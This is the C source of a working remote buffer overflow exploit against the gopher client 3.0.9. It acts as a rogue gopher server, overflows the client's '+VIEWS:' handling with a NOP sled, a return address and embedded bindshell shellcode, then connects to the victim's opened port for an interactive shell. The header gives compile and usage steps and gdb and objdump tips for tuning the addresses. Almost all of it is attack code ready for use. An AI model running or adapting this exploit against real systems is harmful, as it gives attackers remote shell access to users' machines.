/*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]*
 *                                                             *
 * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)            *
 *                                                             *
 * compile:                                                    *
 *  gcc xgopher-client.c -o xgopher-client                     *
 *                                                             *
 * syntax:                                                     *
 *  ./xgopher-client <port> [bindshell port]                   *
 *                                                             *
 * The Internet Gopher Client is based on the UMN              *
 * Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology *
 * that predates the Web. It presents information as a virtual *
 * network-wide filesystem. Modern browsers such as Konqueror  *
 * can display gopherspace as if it contained files on your    *
 * local machine (trees, drag and drop, etc.), but the         *
 * difference is that each file or folder in that tree may be  *
 * on a different machine.                                     *
 *                                                             *
 * this client contains a remotely exploitable buffer overflow *
 * in the processing of "+VIEWS:" information, located in      *
 * SRC/object/VIews.c in the VIfromLine() function.            *
 *                                                             *
 * this is a stack overflow that can be exploited immediately  *
 * upon the client's connection to an untrusted gopher server. *
 * while this is a stack overflow, exploitation of this        *
 * overflow is not completely standard, and special values     *
 * will be needed for it to work. (see the first three DEFINEs *
 * below)                                                      *
 *                                                             *
 * i made this simply to be sure it was possible to exploit,   *
 * tested successfully on mandrake/9.2 with gopher/3.0.9       *
 * compiled from source.                                       *
 ***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */

/* this needs to be replaced as a null-byte will overwrite it.  this */
/* can be found in gdb using a trial-run of the exploit. */
/*  (gdb) break VIfromLine                             */
/*  Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */
/*  (gdb) run server-running-this-exploit.com 70       */
/*  ...                                                */
/*  Breakpoint 1, VIfromLine (vi=0x8074f08, ...        */
/*  -----------------------------^^^^^^^^^             */
/*  ...                                                */
#define REPLACE_VI_ADDR	 	0x08074f08

/* where the shellcode is located.  you can use a trial-run to get */
/* this as well, run "objdump -s <core> | grep 90909090" on the    */
/* core file, and choose something in the middle of all the        */
/* 0xbfff???? addresses dumped. */
#define RET_ADDR 		0xbfffe910

/* guess time; try between 0-12, not likely to be anything */
/* higher than that.                                       */
#define PLACEMENT_OFFSET	7

/* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */
#define BUFSIZE 		500
#define DFL_BINDSHELL_PORT 	7979
#define TIMEOUT 		10

static char x86_exec[]= /* bindshell, from netric. */
 "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
 "\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
 "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
 "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
 "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
 "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
 "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
 "\x80";

/* prototypes. */
unsigned char *getcode(void);
char *gopherd_bind(unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv){
 unsigned short port=0,sport=DFL_BINDSHELL_PORT;
 char *hostptr;
 printf("[*] gopher[v3.0.9+]: remote (client) buffer overflow exp"
 "loit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
 if(argc<2){
  printf("[!] syntax: %s <port> [bindshell port]\n",argv[0]);
  exit(1);
 }
 port=atoi(argv[1]);
 if(argc>2)sport=atoi(argv[2]);

 /* set the port to bind to in the shellcode. */
 x86_exec[20]=(sport&0xff00)>>8;
 x86_exec[21]=(sport&0x00ff);

 /* verbose values display. */
 printf("[*] replacement \"vi\" address\t\t: 0x%.8x\n",REPLACE_VI_ADDR);
 printf("[*] return address\t\t\t: 0x%.8x\n",RET_ADDR);
 printf("[*] offset from the end of tmpstr[]\t: %d (=%d)\n",
 PLACEMENT_OFFSET,PLACEMENT_OFFSET*4);
 printf("[*] server port\t\t\t\t: %u\n",port);
 printf("[*] bindshell port\t\t\t: %u\n\n",sport);

 /* wait for a connection and send overflow. */
 hostptr=gopherd_bind(port);

 /* be safe, and give it time to run. */
 sleep(3);

 /* see if a shell spawned. */
 getshell(hostptr,sport);

 exit(0);
}
/* this is what fills the buffer that will be overflown. (tmpstr[256]) */
unsigned char *getcode(void){
 unsigned char *buf;
 if(!(buf=(unsigned char *)malloc(BUFSIZE+1)))
  printe("getcode(): allocating memory failed.",1);

 /* make everything nops, and overwrite where needed. */
 memset(buf,0x90,BUFSIZE);

 /* this gives more NOP/guessing room. if it hits before the addresses, */
 /* it will jump over them to get to the shellcode. (jumps 8 bytes)     */
 buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */
 buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8.    */

 /* return address. */
 *(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;

 /* the replacement value will be right after the new return address. */
 /* (this is needed because a null-byte will corrupt it, and fault    */
 /* where not desired)                                                */
 *(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;

 /* add shellcode to the end of the buffer. */
 memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec));
 return(buf);
}
char *gopherd_bind(unsigned short port){
 int ssock=0,sock=0,so=1;
 unsigned int salen=0;
 char pseudobuf[2];
 struct sockaddr_in ssa,sa;
 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
 ssa.sin_family=AF_INET;
 ssa.sin_port=htons(port);
 ssa.sin_addr.s_addr=INADDR_ANY;
 printf("[*] awaiting connection from: *:%d.\n",port);
 if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  printe("could not bind socket.",1);
 listen(ssock,1); 
 bzero((char*)&sa,sizeof(struct sockaddr_in));
 salen=sizeof(sa);
 sock=accept(ssock,(struct sockaddr *)&sa,&salen);
 close(ssock);
 printf("[*] gopher server connection established.\n");

 /* not really needed, but i feel better with it waiting for it. */
 printf("[*] waiting for <any> request/data...\n");
 read(sock,pseudobuf,1);
 printf("[*] received request/data, sending overflow.\n");

 /* setup the precursor to cause the overflow. */
 write(sock,"+-1\n",4);
 write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36);
 write(sock,"+VIEWS:\t\n ",10);

 /* the overflow. */
 write(sock,getcode(),BUFSIZE);
 write(sock,"\n",1);

 sleep(1);
 close(sock);
 printf("[*] gopher server connection closed.\n");
 return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
 int sock,r;
 fd_set fds;
 char buf[4096+1];
 struct hostent *he;
 struct sockaddr_in sa;
 printf("[*] checking to see if the exploit was successful.\n");
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  printe("getshell(): socket() failed.",1);
 sa.sin_family=AF_INET;
 if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
   printe("getshell(): couldn't resolve.",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
 }
 sa.sin_port=htons(port);
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 printf("[*] attempting to connect: %s:%d.\n",hostname,port);
 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",hostname,port);
  return;
 }
 alarm(0);
 printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
 signal(SIGINT,SIG_IGN);
 write(sock,"uname -a;id\n",13);
 while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1)
   printe("getshell(): select() failed.",1);
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1)
    printe("getshell(): read() failed.",1);
   if(write(sock,buf,r)!=r)
    printe("getshell(): write() failed.",1);
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
 }
 close(sock);
 return;
}
void printe(char *err,short e){
 printf("[!] %s\n",err);
 if(e)
  exit(1);
 return;
}
